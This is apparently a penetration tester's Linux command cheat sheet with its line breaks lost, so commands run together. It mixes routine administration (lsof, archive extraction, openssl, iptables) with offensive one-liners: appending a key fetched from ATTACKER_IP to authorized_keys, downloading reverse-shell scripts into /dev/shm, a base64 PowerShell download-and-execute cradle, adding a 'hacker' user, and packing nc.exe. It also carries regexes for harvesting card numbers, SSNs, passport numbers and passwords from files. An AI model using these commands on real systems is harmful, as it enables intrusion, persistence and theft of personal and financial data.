#Exfiltration using Base64base64 -w 0 file​#Get HexDump without new linesxxd -p boot12.bin | tr -d '\n'​#Add public key to authorized keyscurl https://ATTACKER_IP/.ssh/id_rsa.pub >> ~/.ssh/authotized_keys​#Echo without new line and Hexecho -n -e​#Countwc -l <file> #Lineswc -c #Chars​#Sortsort -nr #Sort by number and then reversecat file | sort | uniq #Sort and delete duplicates​#Replace in filesed -i 's/OLD/NEW/g' path/file #Replace string inside a file​#Download in RAMwget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.pywget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shmcurl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py​#Files used by network processeslsof #Open files belonging to any processlsof -p 3 #Open files used by the processlsof -i #Files used by networks processeslsof -i 4 #Files used by network IPv4 processeslsof -i 6 #Files used by network IPv6 processeslsof -i 4 -a -p 1234 #List all open IPV4 network files in use by the process 1234lsof +D /lib #Processes using files inside the indicated dirlsof -i :80 #Files uses by networks processesfuser -nv tcp 80​#Decompresstar -xvzf /path/to/yourfile.tgztar -xvjf /path/to/yourfile.tbzbzip2 -d /path/to/yourfile.bz2tar jxf file.tar.bz2gunzip /path/to/yourfile.gzunzip file.zip7z -x file.7zsudo apt-get install xz-utils; unxz file.xz​#Add new useruseradd -p 'openssl passwd -1 <Password>' hacker​#Clipboardxclip -sel c < cat file.txt​#HTTP serverspython -m SimpleHTTPServer 80python3 -m http.serverruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 80, :DocumentRoot => Dir.pwd).start"php -S $ip:80​##Curl#json datacurl --header "Content-Type: application/json" --request POST --data '{"password":"password", "username":"admin"}' http://host:3000/endpoint#Auth via JWTcurl -X GET -H 'Authorization: Bearer <JWT>' http://host:3000/endpoint​#Send EmailsendEmail -t [email protected] -f [email protected] -s 192.168.8.131 -u Subject -a file.pdf #You will be prompted for the content​#DD copy hex bin file without first X (28) bytesdd if=file.bin bs=28 skip=1 of=blob​#Mount .vhd files (virtual hard drive)sudo apt-get install libguestfs-toolsguestmount --add NAME.vhd --inspector --ro /mnt/vhd #For read-only, create first /mnt/vhd​## ssh-keyscan, help to find if 2 ssh ports are from the same host comparing keysssh-keyscan 10.10.10.101​## Opensslopenssl s_client -connect 10.10.10.127:443 #Get the certificate from a serveropenssl x509 -in ca.cert.pem -text #Read certificateopenssl genrsa -out newuser.key 2048 #Create new RSA2048 keyopenssl req -new -key newuser.key -out newuser.csr #Generate certificate from a private key. Recommended to set the "Organizatoin Name"(Fortune) and the "Common Name" ([email protected])openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Create certificateopenssl x509 -req -in newuser.csr -CA intermediate.cert.pem -CAkey intermediate.key.pem -CAcreateserial -out newuser.pem -days 1024 -sha256 #Create a signed certificateopenssl pkcs12 -export -out newuser.pfx -inkey newuser.key -in newuser.pem #Create from the signed certificate the pkcs12 certificate format (firefox)## If you only needs to create a client certificate from a Ca certificate and the CA key, you can do it using:openssl pkcs12 -export -in ca.cert.pem -inkey ca.key.pem -out client.p12# Decrypt ssh keyopenssl rsa -in key.ssh.enc -out key.ssh#Decryptopenssl enc -aes256 -k <KEY> -d -in backup.tgz.enc -out b.tgz​#Count number of instructions executed by a program, need a host based linux (not working in VM)perf stat -x, -e instructions:u "ls"​##Find trick for HTB, find files from 2018-12-12 to 2018-12-14find / -newermt 2018-12-12 ! -newermt 2018-12-14 -type f -readable -not -path "/proc/*" -not -path "/sys/*" -ls 2>/dev/null​#Reconfigure timezonesudo dpkg-reconfigure tzdata​#Search from wich package is a binaryapt-file search /usr/bin/file #Needed: apt-get install apt-file​#Protobuf decode https://www.ezequiel.tech/2020/08/leaking-google-cloud-projects.htmlecho "CIKUmMesGw==" | base64 -d | protoc --decode_raw​#Set not removable bitsudo chattr +i file.txtsudo chattr -i file.txt #Remove the bit so you can delete it
#Base64 for Windowsecho -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0#Exe compressionupx -9 nc.exe​#Exe2batwine exe2bat.exe nc.exe nc.txt​#Compile Windows python exploit to exepip install pyinstallerwget -O exploit.py http://www.exploit-db.com/download/31853python pyinstaller.py --onefile exploit.py​#Compile for windows#sudo apt-get install gcc-mingw-w64-i686i686-mingw32msvc-gcc -o executable useradd.c
#Extract emails from filegrep -E -o "\b[A-Za-z0-9._%+-][email protected][A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt​#Extract valid IP addressesgrep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" file.txt​#Extract passwordsgrep -i "pwd\|passw" file.txt​#Extract usersgrep -i "user\|invalid\|authentication\|login" file.txt​## Extract hashes#Extract md5 hashes ({32}), sha1 ({40}), sha256({64}), sha512({128})egrep -oE '(^|[^a-fA-F0-9])[a-fA-F0-9]{32}([^a-fA-F0-9]|$)' *.txt | egrep -o '[a-fA-F0-9]{32}' > md5-hashes.txt#Extract valid MySQL-Old hashesgrep -e "[0-7][0-9a-f]{7}[0-7][0-9a-f]{7}" *.txt > mysql-old-hashes.txt#Extract blowfish hashesgrep -e "$2a\$\08\$(.){75}" *.txt > blowfish-hashes.txt#Extract Joomla hashesegrep -o "([0-9a-zA-Z]{32}):(w{16,32})" *.txt > joomla.txt#Extract VBulletin hashesegrep -o "([0-9a-zA-Z]{32}):(S{3,32})" *.txt > vbulletin.txt#Extraxt phpBB3-MD5egrep -o '$H$S{31}' *.txt > phpBB3-md5.txt#Extract Wordpress-MD5egrep -o '$P$S{31}' *.txt > wordpress-md5.txt#Extract Drupal 7egrep -o '$S$S{52}' *.txt > drupal-7.txt#Extract old Unix-md5egrep -o '$1$w{8}S{22}' *.txt > md5-unix-old.txt#Extract md5-apr1egrep -o '$apr1$w{8}S{22}' *.txt > md5-apr1.txt#Extract sha512crypt, SHA512(Unix)egrep -o '$6$w{8}S{86}' *.txt > sha512crypt.txt​#Extract e-mails from text filesgrep -E -o "\b[a-zA-Z0-9.#?$*_-][email protected][a-zA-Z0-9.#?$*_-]+.[a-zA-Z0-9.-]+\b" *.txt > e-mails.txt​#Extract HTTP URLs from text filesgrep http | grep -shoP 'http.*?[" >]' *.txt > http-urls.txt#For extracting HTTPS, FTP and other URL format usegrep -E '(((https|ftp|gopher)|mailto)[.:][^ >" ]*|www.[-a-z0-9.]+)[^ .,; >">):]' *.txt > urls.txt#Note: if grep returns "Binary file (standard input) matches" use the following approaches # tr '[\000-\011\013-\037177-377]' '.' < *.log | grep -E "Your_Regex" OR # cat -v *.log | egrep -o "Your_Regex"​#Extract Floating point numbersgrep -E -o "^[-+]?[0-9]*.?[0-9]+([eE][-+]?[0-9]+)?$" *.txt > floats.txt​## Extract credit card data#Visagrep -E -o "4[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > visa.txt#MasterCardgrep -E -o "5[0-9]{3}[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > mastercard.txt#American Expressgrep -E -o "\b3[47][0-9]{13}\b" *.txt > american-express.txt#Diners Clubgrep -E -o "\b3(?:0[0-5]|[68][0-9])[0-9]{11}\b" *.txt > diners.txt#Discovergrep -E -o "6011[ -]?[0-9]{4}[ -]?[0-9]{4}[ -]?[0-9]{4}" *.txt > discover.txt#JCBgrep -E -o "\b(?:2131|1800|35d{3})d{11}\b" *.txt > jcb.txt#AMEXgrep -E -o "3[47][0-9]{2}[ -]?[0-9]{6}[ -]?[0-9]{5}" *.txt > amex.txt​## Extract IDs#Extract Social Security Number (SSN)grep -E -o "[0-9]{3}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > ssn.txt#Extract Indiana Driver License Numbergrep -E -o "[0-9]{4}[ -]?[0-9]{2}[ -]?[0-9]{4}" *.txt > indiana-dln.txt#Extract US Passport Cardsgrep -E -o "C0[0-9]{7}" *.txt > us-pass-card.txt#Extract US Passport Numbergrep -E -o "[23][0-9]{8}" *.txt > us-pass-num.txt#Extract US Phone Numberssgrep -Po 'd{3}[s-_]?d{3}[s-_]?d{4}' *.txt > us-phones.txt#Extract ISBN Numbersegrep -a -o "\bISBN(?:-1[03])?:? (?=[0-9X]{10}$|(?=(?:[0-9]+[- ]){3})[- 0-9X]{13}$|97[89][0-9]{10}$|(?=(?:[0-9]+[- ]){4})[- 0-9]{17}$)(?:97[89][- ]?)?[0-9]{1,5}[- ]?[0-9]+[- ]?[0-9]+[- ]?[0-9X]\b" *.txt > isbn.txt
#Nmap scripts ((default or version) and smb))nmap --script-help "(default or version) and *smb*"locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | grep smbnmap --script-help "(default or version) and smb)"
#All bytes inside a file (except 0x20 and 0x00)for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v "20\|00"); do echo -n -e "\x$j" >> bytes; done
#Delete curent rules and chainsiptables --flushiptables --delete-chain​#allow loopbackiptables -A INPUT -i lo -j ACCEPTiptables -A OUTPUT -o lo -j ACCEPT​#drop ICMPiptables -A INPUT -p icmp -m icmp --icmp-type any -j DROPiptables -A OUTPUT -p icmp -j DROP​#allow established connectionsiptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT​#allow ssh, http, https, dnsiptables -A INPUT -s 10.10.10.10/24 -p tcp -m tcp --dport 22 -j ACCEPTiptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPTiptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 443 -j ACCEPTiptables -A INPUT -p udp -m udp --sport 53 -j ACCEPTiptables -A INPUT -p tcp -m tcp --sport 53 -j ACCEPTiptables -A OUTPUT -p udp -m udp --dport 53 -j ACCEPTiptables -A OUTPUT -p tcp -m tcp --dport 53 -j ACCEPT​#default policiesiptables -P INPUT DROPiptables -P FORWARD ACCEPTiptables -P OUTPUT ACCEPT